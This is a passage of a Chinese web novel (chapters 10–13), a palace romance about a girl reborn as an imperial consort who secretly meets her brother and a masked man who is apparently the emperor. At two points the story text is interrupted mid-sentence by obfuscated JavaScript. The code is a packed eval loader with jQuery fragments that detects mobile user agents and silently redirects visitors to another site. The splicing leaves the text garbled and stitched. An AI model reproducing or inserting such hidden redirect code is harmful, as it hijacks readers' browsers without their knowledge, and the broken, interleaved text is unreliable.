居所如此相近,哪怕这座宫殿沉寂如水,于他而言该是刺目的,更何况这个地方每晚都点了满廊红灯。 即便只是抬头时匆匆投来一瞥,大约也是刺目的。 但可惜她的温良谨慎都在明面上,到了夜晚偏偏要来碍他的眼睛,刺人的耳朵,轻轻在他容忍的界限处踩一两下,又飞速地收回来。 月色清明如许,可元朔帝的日常起居实在没什么有意思的事情发生,他要和皇子公主们游玩不在这里,她偷窥了许多日子,才不得不承认一个事实。 她如果要做皇帝身边的起居郎,半夜保准想打瞌睡。 沈幼宜唇边才绽开一丝笑,随即又抿紧了唇。 做这个官也不算是十分无趣……起码起居郎还没写到她。 一个周旋在帝王父子之间、还被孤魂野鬼夺舍了的贵妃,她是太子的庶母,也差点成为皇帝的儿媳。 可她也不想这样做的,她只想找一个称心如意的郎君。 做她的丈夫,要有钱,更要有权势,最好生得俊一点,对她很好,至少不要太坏。 贫贱夫妻百事哀,情分易变,容貌也会流逝,可金钱、权势都永远冷冰冰地躺在那里,诱人而危险,她第一次入宫时只是短暂地害怕过,只要一想到靠近它、攫取它,就叫人热血翻涌,好像为她娇媚的容色又增添了一分鲜活。 她就是这样贪心的女子,什么都要,不过她只要一个而已,不用很多。 沈幼宜的心微沉下去,无论是之前的她,还来到这里后,她甚至还没真正见过自己这位俯瞰天下的丈夫,有的只有一个模糊的印象。 风筝线松的时间太长,万里上的狂风一吹,连线轮也要被扯去的。 差不多到了她收线的时辰。 岁朝进来整理丝线时瞧见的就是贵妃凝眸沉思的模样。 她在家生育时听人说起过贵妃在宫中的一些事情,真到卫娘子身边伺候了才发觉,这位主子比她想象中要和善开朗得多。 以至于瞧见她多愁善感的模样时,岁朝稍稍有几分意外。 “娘子心里烦闷么?” 岁朝试探道:“绣活做久了伤眼睛,奴婢听说戏台那边这几日热闹得很,您不去散散心?” 贵妃明面上没有被软禁,但也没哪个宫人敢主动劝主子出去走走,沈幼宜从思绪中抽离出来,瞥过这个新服侍自己的女官。 她有时会告假回家探望丈夫儿子,自己也都准了,但是自从皇帝驾幸行宫,竟还没回过家。 沈幼宜心下微动,垂眸叹道:“你倒贴心,可陛下这几日常在清平殿,我便是有这个心,也不敢出去的。” 连贵妃身边的掌事都难以说服贵妃服软,岁朝清楚自己的份量,却不想随口一句,竟是无心插柳,她面上露出几分笑,宽慰道:“这娘子大可放心,奴婢今日去送您给皇后娘娘的东西,缀玉姑姑还说陛下明日要带着皇子公主去听道士讲经,等闲就要一日呢!” 行宫里的道观在半山腰,与内廷相去二十里,皇家的仪仗浩浩荡荡,耽搁一日都是少的。 她说完之后贵妃却似没有方才的欢喜了,岁朝有几分惴惴不安,想自己接口接得是否有些快了,反而引人生疑。 然而贵妃好像只是出了一回神,低头想了一想,才对她嫣然一笑:“那也好,不如我换了你的衣裳出去,要悄悄的,别叫人知道才好呢!” 11.第 11 章 岁朝的眉心轻轻一跳。 相隔寸尺,沈幼宜也瞧得出她的紧张,露出几分失望神情,轻轻叹道:“是我教你为难了,不出去也没什么的。” 她拍了拍岁朝的手,宽慰道:“你伺候我也算辛苦,回去睡罢,等陛下与太后回到长安,咱们想去哪玩都成的。” 岁朝仰头瞧她,月色相映,贵妃衣裙都为素纱禅衣所覆,有一层雾蒙蒙的美。 可她的眼睛里盈满一层水镜,亮晶晶的,眼波流转之间好像快要滴下来,砸得她心口一重。 即便不是出于私心,贵妃被迫闷在宫里许久,想出去走一走,她也会想办法迎合,讨美人一笑。 “奴婢听娘娘吩咐,便是舍命也不惜,怎么会为难呢?” 岁朝低眉,柔声道:“戏台确实热闹,离得也不算太远,您想去瞧一瞧也合宜。方才只是在想,奴婢在家做女儿的时候也喜欢偷溜出去,只是瑶光殿人多口杂,要避开掌事她们怕是不易。” 果不其然,贵妃才低沉下去的神情又欢悦起来,启唇一笑:“我当是什么……不过是随便走走,只要不惹了陛下的眼就好,我要去哪还要顾忌她们么?” 贵妃这般说,岁朝的心立时落到了实处,脸上都多了几分真心实意的笑容。 女子对于同类的心思总能体察更多,天子要颜面,贵妃也是要的,她这些时日留心观察,贵妃对陛下也并非无意,只是久未面圣,拿不准陛下的心思,哪敢轻易邀宠献媚。 天威难测,圣上本就是多思寡言的人,要贵妃聪明到每时每刻都猜中皇帝的意思并逢迎得体,未免也太难为人了些。 贵妃的身量没有生育过的她丰满,岁朝连夜改了几身新衣供贵妃挑选,还在几件衣裙上别出心裁绣了精致花纹,教原本普通的衣裙灵动起来。 但沈幼宜的目光最后还是落在了宫中最普通的侍女装上。 鹅黄衫子石榴裙,正是宫人春夏里最常见的装扮,衬得女子肌肤胜雪,活泼娇俏,只是在宫中随处可见,衣料普通,就算配色鲜艳,落在贵人眼中也是平平无奇。 但她穿戴起来很是娴熟,甚至不需要岁朝帮助。 太子当年很喜欢她扮作小宫人的模样,两人偶尔在东宫、御苑私会,少男少女总有几分情难自持,听不见外界的声响,有一回甚至险些撞上了圣驾。 她匆忙逃开,跪在一众东宫侍女之中,听着太子与元朔帝对答,尽管进退得体,可那微微发颤的声线暴露出与她一般无二的惊骇恐慌。 那时她的头贴在地面上,心跳如雷,只盼着元朔帝早早起驾,千万不要发觉她的存在。 时隔数年,对付儿子的手段,她又一分不差地用到他父亲身上。 随驾去道观的公主嫔妃都已登车离宫,行宫又恢复了往日的清静。 山中晨雾薄薄,园中草木如洗,散发着清新沁人的味道,枝头草尖垂挂着几颗新结露珠,朝雾中若隐若现的美人满怀心事,虽偶尔驻足停留,却并不是为它们。 岁朝的反常教她生出一些猜测,可这点蛛丝马迹还不能完全令她放心。 即便真如她所料,她也不会直愣愣地往戏台楼阁去。 皇帝未必会早早候着她,她宁可先去藏书楼看两本闲书。 禁军多是些年轻面孔,不见得会认识贵妃,沈幼宜一路低着头,即便宫道里有人多瞧了她两眼,碍于身侧同伴,也不敢存有搭讪的心思。 藏书楼离外朝的弘文馆不远,元朔帝不在,朝臣们也乐得清闲,自去赏景会客,沈幼宜一路走上三楼,除了洒扫内侍,都瞧不见一个人影。 她随手挑了一本,正要抽出书架,轻轻拿了两回,竟感受到一阵拉扯的力道。 沈幼宜慌张松开手,这里竟有人在! 她不是非要看这一本才行,但……架后男子的面容一闪而过,她霎时睁大了眼睛,顾不得男女大防,立时抓住了那本书! 架后的男子也瞧见了她,下意识松开了手。 隔着那一点点空隙,她只能瞧见他小半张脸,可即便如此,她也无法彻底冷静下来! 对面的男子沉雅俊秀、仪范清冷,眉间却有一点不易察觉的旧年伤痕,不是她的阿兄又会是谁? 尽管只是过去了五年,可沈家的富贵已成过往,男女亲眷皆为罪人,即便活着也是生不如死,于她而言这同相隔百年又有什么区别? 可是她的阿兄竟还活着,非但没有成为罪人,还扶摇直上,随着圣驾一并来到行宫! 这是阿爹当年也没得到过的殊荣! 沈幼宜忍住心底翻腾着的欢喜,摸了摸自己的脸,好在卫贵妃与她生得很是相像,阿兄那么疼她,哪怕一时半会不能接受借尸还魂,也不会要把她烧死的! 然而对面身着常服的男子却不见半点惊喜,他收回了手,俯身告罪道:“臣不知贵妃在此,竟冲撞了贵人,还请贵妃恕罪。” 兄长的嗓音一如既往的温润,可言语间那分恭敬疏离似一盆冷水,兜头泼在心上,她瞠目结舌,阿兄竟是见过卫贵妃的! “沈大人不必拘礼……” 沈幼宜稳了稳心神,她有太多的事情要问,关于沈家、关于他、也关于卫贵妃与自己。 她要绕过这碍事的书架,沈怀安见状连忙退让数步,声音稍厉,却压得更低:“娘子是内廷女眷,臣无诏不得觐见,还望贵妃准臣退下。” 他一向循规蹈矩,但对唯一的亲妹妹呵护关爱,甚至疼到不许她出嫁。 可恨不得将她藏在羽翼之下的兄长此刻竟避她如蛇蝎,沈幼宜心中酸涩,牢牢扒住书架,急切得几乎要穿过去,哽咽道:“阿兄别走,是我啊,我是宜娘!” 她强忍着没有哭出声,身体却因竭力克制而微微耸动,沈幼宜顾不得擦拭脸上大颗大颗的泪珠,因为她的阿兄倏然变了脸色。 震惊是自然的,可以瞧得出他几乎下意识想来捂住她的口,但最终还是化作一声无奈的叹息,目露悲悯神色。 “臣的妹妹福薄命短,与贵妃娘子是不能比。” 沈怀安不好直视她,克制道:“臣虽心底一直念着她,可也知晓逝者已矣,此处不比瑶光殿,还请娘子慎言。” 沈幼宜满心惶急,她承认这件事难以令人信服,可她真的是宜娘啊! “维行,你是在同谁说话?” 殿中空旷,即便是远处传来的声音也听得分明,这声音中气十足,可见来者稍有几分年纪,应是圣上身边得力的臣子。 沈幼宜吃惊不小,连忙将自己缩进夹层里,沈怀安不能如她一般躲起,他向那藏身的所在瞥去一眼,不慌不忙地迎上前去,无奈道:“一位宫人罢了。” 对方听得出他话语中的解脱之意,既知内里有女眷,也不再多进,抚掌笑道:“亏得你这般好相貌,着实是艳福不浅!来了许多日,怎得没个宫女对我暗送秋波?” 沈幼宜听得心惊胆战,好在对方应当只听到只言片语,言辞便转到男女私情上,阿兄自然会有所不悦,那人见他不快,顺势赔了几句好话,说不过是玩笑。 直到二人交谈的声音远到再也听不见,沈幼宜才松了一口气,轻手轻脚地跑出藏书楼。 阿兄不信她,万一那人起了促狭的心思,去而复返,真将污水泼到二人头上怎么好!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604907|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雾气将散,她不知跑了多久,才扶着一块石头停下来,艰难地喘息着。 她四肢都软透了,不止是跑得力竭,情绪被迫忍了回去,那种滋味也十分难受。 顾不得狼狈,也管不上到底跑到哪里来了,她将身体蜷缩起来倚在木石上,紧紧咬住唇,才断断续续地哭起来了。 沈家败落后,她浑浑噩噩地在监牢里度日,麻木地听着耳边哭声不断,那些男人之间的事情没人会告诉她,但后果是全部近亲族人来承担的。 她换了身子,有了更高贵的出身、比太子更有权势的丈夫,以为能将那十五年的时光当成一晚可怕的噩梦,可当阿兄活生生地站在她面前时,那些自欺欺人的安慰都被戳得粉碎。 醒来这些天,她的心竟是到了今日才疼得那么厉害。 他们有可能都还活着,甚至活得很好,可沈幼宜已经彻彻底底消失在这个世界上,她是卫兰蓁,她只能是卫兰蓁了! 初时她只是埋在膝上轻轻抽泣,后来一口气堵在喉间上下两难,竟还是哇地一声哭出声来。 唇齿间隐隐有铁锈的腥甜气息,沈幼宜没忘记今日的来意,慌忙去寻巾帕擦拭,却越急越乱,怎么也找寻不到。 她抽了抽鼻子,在空气中闻到一丝不同寻常的香味。 很复杂,也有些熟悉。 ——像是混了粉黛香的书墨气,也像是太子身上的味道,但细说起来,还是不一样。 沈幼宜心下一沉,她慢慢抬起头来,一方素洁的手帕映入眼帘,被风一吹,颤巍巍地飘。 她的心神和力气都耗得差不多了,反应迟钝了一些,但还知道要再往上看一点。 眼前的男子身形高大,半张凶神恶煞的面具遮住了他的眉眼,但从整体不难看出面具下的俊朗,露出的部分肌肤紧实,应该三十左右。 他身上的纹饰多是皇亲贵胄才能用的,衣料质地柔软,在日光下泛着柔亮的光泽,但和真正的内廷礼服、常服仍有区别,更像是唱戏用的戏装。 沈幼宜轻轻松了一口气,但莫名也生出一点失望的情绪。 这人不知来了多久,只静静地瞧着她哭,可只是这般不言不语地俯视,就压得人喘不过气来……那不止是身体上的居高临下,更像是与生俱来的威压沉稳。 过于精明锐利的目光中有一点动容,抑或是怜悯,但他手臂微微收紧,沈幼宜隐隐生出一种错觉。 这人好像在生她的气。 是因为她没接过他的手帕吗? 她不喜欢在外人面前暴露出自己最脆弱的一面,强撑着摆摆手,沙哑着嗓子道:“谢谢您的好意,我不用。” 虽说四下无人,可无论对方是谁,来意是善是恶,她都不能忘记自己的身份。 那人定定看了她半晌,竟是笑了,语气比想象中要柔和,似乎有些无奈,但在沈幼宜听来仍有几分责备的口吻:“好端端的,怎么弄成这样?” 太自然、也太高高在上,强势得沈幼宜心里生出些不舒服,她哭她的命,这和他有什么关系? 毕竟她现在只是一个有几分姿色的宫女,对方可能不是戏班里捧着哄着的名角,而是在宗室里有点身份,但也不多的王孙——否则不会不认识她,今天也不会留在这里了。 可这个人对她又没干出什么坏事来,而且她躲在山石树木后面,虽说附近没什么人在,可他恰巧挡住了她的身形,不至于教过路人看见她的狼狈。 作为一个陌路人,他已算十分体贴。 沈幼宜慢慢扶着石头站起身来,谨慎地后退几步,才好奇将他上下打量一番,诚恳问道:“你是谁呀?” 12.第 12 章 那人顿了顿,仿佛讶然,随即想到了什么,缓缓一笑,却有咄咄逼人的气势:“你以为我是谁?” 如此胸有成竹的笃定,教沈幼宜轻轻吃了一惊,狐疑打量他露出的半张面容,她该认识他么? 似乎是有点熟悉,但她确实不记得。 他语气从容,可神情却不是如此,那是雄狮狩猎前巡视猎物的目光,眼睛将她牢牢锁住,已是志在必得,却不急不缓地向她靠近,步伐悠闲。 明明这一切都是宁和的,却又暗伏危机。 石上还沾着晨露水汽,他前逼一步,沈幼宜就只能后退一步,直到触到那片冰凉湿冷,内心才生出一片绝望。 从小到大,对她有过非分之想的男子不计其数,这些男子大多用一层文质彬彬的外表包裹住自己的欲/望,待她客气谦和,却常在无人处暴露出衣冠禽兽的一面。 他最好只是这些有色心没色胆男子的同类,而不是……卫贵妃从前的相好之一,和太子一样找她算账。 那真是够要她性命! 沈幼宜目光落在周围的石子上,终于选到一块中意的,正要一个踉跄,顺势倒下去,那人却手疾眼快,伸手握住她一臂,教她倒也倒不下去。 面具后的眉似乎蹙起,那人不知道想到了什么,语气稍重了些:“胡闹!” 沈幼宜气结,就见一回面,他凶她两次了! 太子都没对她这么凶过,他凭什么! 她用力一挣,就从他手中脱身出来,尽管胸口起伏不定,还是垂下眼客气道:“我猜阁下是兰陵王。” 歌戏以面具遮脸,源自北齐兰陵王,这位名将胆勇无双,可惜貌若妇人、风姿甚美,不足以威慑敌军,皇帝以武功御天下,于舞乐上也有所偏好,宫中常演兰陵王入阵曲。 不过,沈幼宜暗自腹诽,兰陵王以面具遮身是为杀敌立威,眼前这人穿着兰陵王的面具戏服,只怕是要做些见不得人的勾当! 这男子颔首,微微一笑:“你说的也有几分道理。” 她见对方并不否认,显然不欲以真身示人,清了清嗓子,诘问道:“那你知道我是谁吗?” 那人目光湛湛,似饶有兴致,从善如流问道:“你是谁?” 沈幼宜松了一口长气,连眼睛都恢复了些灵动的活气。 原来这人不认识她。 那还有什么可和他说的! “我、我是此处侍花的宫人……” 沈幼宜抬起眼,提了裙摆上前两步,怯生生朝他投去一瞥,她本就容色娇美,即便哭得狼狈,此刻稍用几分心思,便惹人怜爱得很。 她小心地同他保持约三四寸的距离,然而她身前丰腴可观,轻挪转身之际仍不免有些许碰触。 娇柔的一痕雪,似悬崖枝头的春色,风情无限,又若即若离,挑逗引诱着路人采撷。 就连那人也不免微微失神。 然而不及他伸手采摘折枝,欲语还休的女郎忽而恶狠狠起来,双臂使力,将他向里一推。 “为老不尊的登徒子!” 她犹不解恨,但扭过头来,见对方竟没被她推动,被吓了一跳,僵在原地动也动不了。 好在对方没有追赶的意思,只是若有所思地打量审视着她。 沈幼宜一时骂不出更解气的话,只得“呸”了一声去晦气,才慌不择路地逃走,消失在一片翠绿的薄雾中。 陈容寿与御前的内侍都远远候着,服侍元朔帝时须得谨慎小心,可今日园中景致怡人,几位天子近侍也放松了紧绷着的那根弦,轻声交谈说笑。 这数月里他们日日提心吊胆,今日总算能盼得云开,虽说中途有些许曲折,可谁料天时地利人和,竟还是成了。 陛下侍奉太后前往道观,中途折返,思忖片刻,竟未到听戏的惠风亭去,而是来了勤政楼登高望远。 他们心下发急,却又不敢轻易开口试探圣意。 估摸着时辰,贵妃应当已经从瑶光殿偷溜出来,陛下既然有意俯就,万一晾着太久……贵妃那边又出了变故可如何是好? 楼阁隐在朝雾之中,披霞流光,登楼远眺,如居九重宫阙,俯瞰茫茫云海,令人心旷神怡,正当他以为陛下改了主意时,却听元朔帝轻声笑道:“朕还是第一回做这样没脸的事。” 被一个满口甜言蜜语的女子戏弄,竟又期待着她回到身边。 陈容寿屏气敛声,皇帝并非要下人答些什么,他也不好轻易张口。 贵妃被拘在瑶光殿里是皇帝的意思,可要诱贵妃出来,没有他们这些人揣测圣心,单凭岁朝一人又如何敢呢? 明知贵妃偷溜出来或许存了偶遇圣驾的心思,也可能没有。 以贵妃的性子来瞧,她确实很爱出来游逛。 但瑶光殿的消息传过来后,陛下沉吟片刻,竟还是默许了。 教天子等候一个嫔妃的勾引,这种事当然没脸透顶,可只要贵妃不晓得,他们做奴婢的又如何敢多嘴半句? 可圣驾还没有起身的意思,那一声声悲泣就穿破云霄,扰得人心神不宁。 从高楼俯瞰,那小小的一团蜷缩在一处隐蔽的角落,似绿意盎然中生出一朵娇艳的芙蓉,可这女子哭得肝肠寸断,不知受了多少委屈,才会像个孩子般不顾颜面地放声大哭。 是因为在园中寻了一圈,没有寻到天子踪迹,委屈难过,恼羞成怒,气得不成样子么? 哪有失宠嫔妃试图偶遇不成,就在外面哭得毫无体面? 陈容寿心惊胆颤,倒不完全是为楼下的“宫人”,而是元朔帝。 勤政楼高近百尺,皇帝俯身时竟有大半探出栏杆! 好在就在内侍们跪下劝谏前,元朔帝已收回手来。 天子负手而立,静静听了几息的工夫,眉峰渐拢,可严峻的神色渐渐柔和,不似被扰了清静的烦躁。 更近于一种无奈……甚至是妥协。 陈容寿不敢再细想,他小心望向元朔帝,正要询问是否将贵妃请上来问一问,却见天子轻轻阖上眼,吩咐道:“更衣。” …… 这么一会儿的工夫,派去打听缘由的小黄门已经回来,陈容寿听后如释重负地出了一口气,唇边挂了些笑意。 要不怎么说后宫佳丽之中,卫贵妃最会迎合上意,两人竟皆是反其道而行之,虽说贵妃娘子猜得不是十分对,但误打误撞,竟也合上了。 真是天可怜见。 一名内侍频频向那处探头,见陈容寿神在在地望天,终于忍不住出声提醒:“总管,陛下过去的时候也不短了,您瞧咱们要不要将锦障拉起来?” 他犹豫道:“虽说有咱们守着,可到底是在外面,万一有不识趣的人惊着了圣驾,咱们这罪过可就大了。” “胡说什么,陛下岂会在此处临幸贵妃?” 拂尘高高举起,陈容寿思忖片刻,又落下来。 陛下自然不会如此孟浪无度,但加上一个贵妃,就有些说不准了。 毕竟是小别胜新婚,今春以来陛下虽很少提及贵妃,可越是这般,心底才越会在意。 就算二人冰释前嫌,这数月的帐细细算来,也不知贵妃的身子能不能受得住。 他甩了一下拂尘,含蓄道:“咱们往前迎迎驾罢。” 万一听到了动静,再围幔也不迟……就是这地方潮气重,贵人们在兴头上,一时半会停不下来,下人没法进去铺设枕褥,只能备些祛寒除湿的汤羹。 谁料才迎上几步便见元朔帝。 遮脸的面具已经除下,陈容寿不着痕迹向天子身后瞧了瞧,极快低下头去,掩住心底的震惊。 皇帝晓得他们心底在想些什么,从容道:“问出什么来了?” 本来陈容寿是有一套逢迎的说辞,可这会子贵妃就不见了,他有些迟疑地咽了回去,轻声禀道:“有人瞧见娘子往藏书楼去,过不多时就出来了,不知怎么就跑到这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614641|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应是迷了路。” 贵妃中途或许还偶遇了两位大人,但陈容寿细想过后,还是将此事遮掩下来。 若说贵妃是因为寻不到圣驾就乱发脾气,可皇帝今日主动俯就,已是任凭她施展手段,贵妃此刻应该伴在君侧才对。 但要是说狭路相逢,那两位臣子非但认出了贵妃,还敢给后宫的娘子气受,这更是天方夜谭了。 且不说外人如何晓得贵妃的容貌,就是太子亲信要为杨修媛出一口气,顶撞半年前擅宠六宫的贵妃还有些可能,现如今卫娘子恩宠尽失,与这么个年轻可怜的妇人计较,未免有失风度。 更何况沈学士虽与太子走得近些,但一向克己复礼,并非是那等莽撞无礼之徒。 元朔帝瞥了他一眼:“只是迷了路?” 陈容寿不知方才发生了什么,试探道:“陛下此次驾幸道观听经,嫔御皇嗣尽数随行,仅留贵妃在宫里,娘子出来后没能寻到陛下,或许又听人议论过什么,一时多心了。” 不过即便是他也拿不准,底下的人能议论什么,无非是拜高踩低,说几句尖酸刻薄的风凉话。 贵妃当日敢背着陛下服用寒凉药物避孕,就该知道如今的下场已是陛下额外施恩。 哪怕是如今圣意回转,那件事也没人敢提上半句,正如利剑悬顶,明明双方知晓它的存在,却没人清楚什么时候才会再度发作。 失去天子的宠爱都不能令她低头,尝到世情冷暖后才不情不愿地来讨好,这…… 帝王的心思本就曲折,若是不在意的妃妾倒也就罢了,内廷哪位娘子不盼着富贵荣华的日子,没个压倒侪辈的虚荣心,只要皇帝还有宠幸的意思,这女子又肯用尽浑身解数侍奉,至于这位娘子心里怎么想,对君父有无情爱,那不在天子留心的事情之内。 偏偏是贵妃,教天子动了别样心思的娘子,她受尽宠爱,也就意味着承受了比旁人更多的苛责。 哪怕陵阳侯是她第一位丈夫又如何呢,皇帝上了心的女子,心底绝不允许再有旁人。 不过……纵然教贵妃留在行宫自省有这层意思在,可贵妃当真是为了还能过上昭阳殿里众星捧月的日子才来低声下气,又怎能哄得天子欢喜? 果不其然,元朔帝闻言沉了面色,淡淡道:“那也是她活该。” 只是怀间那一点残存的馨香丝丝缕缕,缠绵而多情,勾绕在人指尖,就像刚刚,她故意用身前丰盈柔软的地方轻轻碾过他胸腹,如蜻蜓点水,一触即分,丝毫不顾水面上漾起的一层层涟漪。 她是个坏透了的女子,遇事不思如何解决,只知道要同人睡一觉就能蒙混过关。 宴席上对他下了药是如此,入宫后与嫔妃斗气心虚也是如此,甚至方才,也是有意要摔下去。 ——她曾读过禁书,好奇贵人府里的假山为什么要设卧榻,燕国公府就没这种摆设习惯。 后来知道了那些于礼不合的缘由,非但不觉得可鄙下流,还伏在他胸口,眼睛亮晶晶的,像一只乞食的小狗,央求哪日也试一试,才能真正晓得是否会比榻上更快活。 实在是不知羞,却又可爱天真得紧,她是真心好奇,教人头痛,但生不出半点恼。 什么时候,不论对错,旁人就是心里存了气,都要顺着她、哄着她,生怕她流一点眼泪。 因此她的规矩和脾气都越发不好。 然而她怪异之处又不仅仅如此。 便是欲擒故纵,也不必装作与他素不相识。 如今年轻的女郎是这样央求爱侣回头的么? 元朔帝低头凝思片刻,陈容寿不知天子为何事费神,更不好惊动。 “罢了,且随她去罢。” 陈容寿听皇帝轻轻笑了一声,正感莫名,却见元朔帝摇了摇头:“朕年纪确实也不轻了。” 被他拒绝了两次,便恼羞成怒,年轻的女子总是心浮气躁些。 只要有心,同她计较这些做什么呢? 13.第 13 章 沈幼宜从这具身体中醒来以后,还不知道自己可以跑得像兔子一样快。 今日是皇帝携宫眷出游,虽说不过是临时起意,未必请太史令观星测运过,可日子总不可能坏到诸事不宜的大凶去。 但她实在是不该出来,出来也不该走到这条路上去。 连过几处宫苑,沈幼宜渐渐寻回了去惠风亭的方位,可脚步也放慢了。 她的心沉了下来。 无论是戏子还是宗室,大多只在内苑行走侍奉,即便是休沐日,在外穿得不伦不类,被南衙那些宰相们见了,肯定是要参上一本的。 尽管魏晋风流、白日放诞的遗风尚存,可她观今上,并不是雅好此道之人。 惠风亭位于内宫园林,哪位王爷戏瘾上来之后四处游荡,能逛去六七里外的地方呢? 那个古怪的男子不是到那唱戏去的。 沈幼宜摸了摸自己的脸,眼泪都干透了,留下微涩的泪痕,她出来时没有随身携带铜镜,但对自己的容色还是十分有自信的。 那层薄薄的脂粉掉尽了也没关系,可她不想在元朔帝面前暴露出自己痛哭过的模样。 女人的眼泪有时候可以珍贵如珠玉,有时候还不如一滴咸湿的雨水,要哭也要哭到元朔帝面前去。 卫贵妃会同嫔妃吃醋争宠到惹得君王大怒的地步,这和沈幼宜本身的脾性不符,但她也慢慢适应理解着卫贵妃的性格。 她会为他的回心转意而哭,而不是向天子传递出一个信号……圣驾未临幸的日子里,她日日以泪洗面,在做冷宫里的怨妇。 男人到内宅里归根到底是来寻乐子的,见到她被磋磨得折服、忏悔当然会欢喜,但太容易柔顺老实,又教对方觉得乏味无趣,甚至生厌。 太多的人屈服于天子的威压,不要说后宫妃妾,就是前朝的男子又如何呢? 卫贵妃能牵引住天子的心神,显然不会是这样无趣的人。 沈幼宜破涕为笑,她并不因卫贵妃与她生着同一张容貌却过着万人之上的日子而怨恨上天不公,也不鄙夷她明明捏住了一手好牌,却在皇帝面前控制不住自己爱慕嫉妒的情绪,居然将自己折腾到这地步。 她还挺喜欢原本的卫娘子。 这正是她曾经向往而又不敢完全去践行的日子,她也想痛痛快快地活着,不计后果下场……哪怕她要反驳抗争的丈夫是天下之主。 沈幼宜垂下眼睫,但她遇到了阿兄,又有了一重顾虑。 她还没弄明白,有沈氏谋逆的拖累,他是如何成为天子近臣的? 或许前一世的沈氏,下场并没有她见到的那么坏? 岁朝坐在贵妃的书房里刺绣,她卸下了一桩心事,嘴角总是不自觉带着笑。 她虽嘴上安慰贵妃娘子会替她瞒着众人,可也知卫贵妃这一出去,回来时便不会是一个人。 陛下已让步至此,贵妃哪怕当真只是偶遇,但态度只需要稍微柔顺一些,便能水到渠成。 她手中针线飞快,口中还轻轻哼唱一段儿歌,语调轻快慈爱,并不怕人发觉。 是以当沈幼宜打开书房的门时,瞧见的便是换了她衣裳的女子坐在窗前,用圆润修长的指甲熟练劈开一股股丝,认真在光影下刺绣肚兜。 含薰被逐出去后,她贴身的衣物都由岁朝与几位宫人来做,这样的场景并不陌生。 但这肚兜的尺寸一瞧就不是她的。 岁朝的笑凝固在腮边,渐渐消失不见,她按下险些要脱口而出的惊呼,僵直站起身来跪下:“娘子恕罪!” 贵妃得了圣宠当然不会计较奴婢的一些小心思,可眼前的美人裙裳脏污,几缕发丝狼狈地粘在颈边,晨起时描画的淡妆已经被人擦拭殆尽,眼睛红肿得厉害,推门望向她时,蛾眉紧蹙。 是她怂恿贵妃偷溜出去,无论贵妃是否识破,弄成这般回来,又瞧见她私下忘乎所以,定然会迁怒。 沈幼宜皱眉不是瞧不惯这些,而是闻到了一阵若有若无的药味。 岁朝是生育过的妇人,深知人/乳的味道未必会受贵人喜欢,身上常用熏香,但这香气遮不住熟悉的药味。 方才遇到的事情太多,她已经忘记当初和阿兄同时选中的是哪本书。 但书房内的药味把浅淡到几乎没有的记忆都勾了起来。 倒不是她生来过目不忘,而是她阿兄选中的书有些独特,非政非史,是一本《妇人大全良方》。 是他已经娶了嫂嫂,要为妻女看吗? 沈幼宜慢慢走过去,瞥见肚兜上的五毒老虎图案,笑着叫岁朝起身。 “是绣给你家小郎君的?” 岁朝战战兢兢,轻声应是,俯首认罪道:“奴婢一时思子情切,还请娘子恕罪。” 瑶光殿里,一针一线都是贵妃的东西,包括她这个人。 沈幼宜“唔”了一声,平和道:“只要不误了当差,也不是什么大事,方才是有人送药来了?” 岁朝迫切想问一问贵妃身上的污糟从何而来,但也只能压下心思:“掌事方才送了补药来,见房中只有奴婢,便要灶上温着了。” 她差点以为是贵妃从前服用的凉药,但是仔细一想,陛下久未临幸,贵妃服了也没什么用处,试探道:“娘子是身上哪里不大舒服么,奴婢学过推拿,或许可以为您排忧解难。” 曾经为贵妃办事煎药、里外勾结的人几乎都被杖毙,谁还敢不要命,为贵妃煎这些伤身的药? 沈幼宜莞尔,那苦得掉眉毛的药到她手里也是浪费,管它多名贵,她是喝不下去的:“不过是补身子的药,我也不爱吃。” 真不知道二皇子是一片孝心还是故意的,她只能心里领受皇后的好意,要入口实在是难为自己。 岁朝笑起来时颊边有深深的窝,她见贵妃兴致不错,不像在外面遭受过难堪的模样,故意讲了许多民间小门小户的事情逗趣,其中也包括怀孕生子的一些反应,以及求子时一些难以启齿的闺房私事。 “奴婢出宫的时候年龄有些大,怕是不大好有孕,还是母亲说要奴婢把这事当作茶壶注水,不单要注得满,还要探得到底才成,叮嘱奴婢每次合房前要垫高些……” 沈幼宜只见过母亲那些怀孕的友人,又没亲身经历过男女之事,对此感兴趣得很,听得入神,下意识抚了抚小腹。 元朔帝子嗣不多,卫兰蓁从前有过丈夫却没子嗣,即便入宫也有一段时日了,她腹中竟半点动静都没有。 沈幼宜不太怀疑自己,她更习惯将这种事情归结于丈夫的无能。 死者为大,她不便苛责陵阳侯。 不过她是正当盛年,可皇帝过了万寿便是三十七岁,想来力不从心也是在所难免,说是三千宠爱在一身,可真落到她身上的雨露还不知道打了多少折扣。 卫贵妃出身高贵,又有太子眷顾,生与不生都不要紧,可她这个冒名顶替的孤魂野鬼……虎毒不食子,一旦东窗事发,元朔帝瞧见孩子的面上,会不会对她留情些? 可这个被母亲当成保命工具的孩子又何其无辜? 岁朝见贵妃似有几分动容,也知不能说得更多,反惹贵妃猜疑她的用心,笑了笑便略过去,旁敲侧击问起万寿节上贵妃欲如何祝寿。 香囊已经绣好了,中规中矩,鸳鸯戏水的图案,可送礼不单单是看礼物本身,还看送礼的人。 沈幼宜轻飘飘地投去一瞥,她对元朔帝的事情未免关心太过了些。 这更加印证了她的猜测。 